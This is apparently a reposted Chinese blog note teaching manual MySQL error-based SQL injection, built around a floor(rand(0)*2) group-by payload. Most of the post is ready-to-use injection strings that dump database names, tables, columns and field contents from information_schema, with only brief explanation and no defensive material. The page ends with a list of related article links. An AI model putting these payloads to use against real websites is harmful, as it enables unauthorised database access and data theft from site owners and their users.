mysql报错注入手工方法

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。

总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

公式具体如下

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。

注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。

但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式

搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:

汇总如下:

1、暴数据库:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

2、暴数据表:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

3、暴列名:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

4、暴字段:

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

参考文章:

http://www.jianshu.com/p/8c2343705100

https://www.waitalone.cn/mysql-error-based-injection.html

转载于:https://www.cnblogs.com/123xu/p/9009722.html

基于错误的sql注入相关推荐

  1. 基于PHPCMS的SQL注入(Havij)

    本教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险. 目录 实验目的 实验环境 实验原理 实验步骤 第一步靶机操作 第二步渗透主机操作 实验总结 实验目的 通过本实验理解SQL注入基本 ...

  2. [ctf web]基于多线程的sql注入的fuzz测试过滤参数模板

    import requests import threading import math def burp(threads,url): #把测试sql关键字传入text列表with open(r&qu ...

  3. SQL注入是什么?如何防止?

    SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? SQL注入(SQLi)是一种 ...

  4. SQL注入漏洞入门(操作实现)

    一 Sql-Inject的概述 SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句.它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器.攻击者可以使 ...

  5. SQL防注入大全——史上最全的 SQL 注入资料

    什么是 SQL 注入速查表? SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源.这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份 ...

  6. 86.3 安全性问题 xss、DDOS、CC、sql注入 攻击等

    主键id 暴露在url 中会暴露表的总量,而且如果监视一段时间主键,就能很低成本地得到这个网站的用户增量. Cookie中的信息是明文保存的,意味着攻击者可以通过猜测并伪造Cookie数据破解系统. ...

  7. 数据库SQL注入漏洞

    第1关:获取dvwa环境 问题描述 搭建dvwa环境,包括1.搭建LAMP服务:2.部署dvwa服务:3.访问dvwa主页. 相关知识       安装appach   首先更新源 apt updat ...

  8. 如何防止SQL注入攻击?

    SQL注入是一种注入攻击,可以执行恶意SQL语句.下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助. 什么是SQL注入? SQL注入(SQLi)是一种 ...

  9. mysql注入带外通道攻击_防止SQL注入攻击的方法

    防止SQL注入攻击的方法 发布时间:2020-08-25 14:18:13 来源:亿速云 阅读:78 作者:小新 小编给大家分享一下防止SQL注入攻击的方法,相信大部分人都还不怎么了解,因此分享这篇文 ...

最新文章

  1. 【学习笔记】树形结构基础
  2. java drawimage 参数_小程序中canvas的drawImage方法参数使用详解
  3. go linux 源码编译环境,修改并编译golang源码
  4. java clock计时_Java Clock类| offset()方法与示例
  5. 用SQL语句创建Access表
  6. 《天天数学》连载02:一月二日
  7. Java知多少(79)哈希表及其应用
  8. 2021年老杨通信工程师中级互联网技术视频讲解
  9. 报错解决——Failed to load resource: the server responded with a status of 404 (Not Found)
  10. 网站的服务器什么意思,网站服务器站点是什么意思
  11. 中兴oltc320用户手册_中兴OLT常用命令
  12. Ps-制作二级页面总结
  13. Python环境搭建指南
  14. 软件机器人实现一键报税,即使没有开发接口,纳税申报也照样方便、快捷
  15. 《如何启动黄金圈思维》苹果和微软都在用的“思维模型”
  16. cat3速度 rj45_常用RJ45网线的规格及型号总结
  17. ZJU PAT的一些代码
  18. RAC环境中部署OGG,并使用集群管理OGG资源
  19. 低潮是人生最佳升值期
  20. 听雨小筑---开张纪念

热门文章

  1. c语言教程苏小红,《数据结构(C语言)》苏小红 课本案例
  2. php支付回调怎么写_php 微信支付回调校验的两种做法
  3. 软件技术论坛_新一代三维GIS软件技术论坛在南宁召开
  4. python 读取日志文件_如何在Python中跟踪日志文件?
  5. python内置哪些装饰器_Python内置的wraps装饰器有什么用
  6. python离散变量_python – 当涉及离散变量时,pymc3与pymc2的困难
  7. android 查找所有dialog_android 布局文件layout分组的简单使用
  8. Java中GUI中菜单栏
  9. python 近期用到的基础知识汇总(四)
  10. 【Deep Learning 三】神经网络中的非线性激活函数之间的优缺点:sigmoid、tanh、ReLu、Leaky ReLu...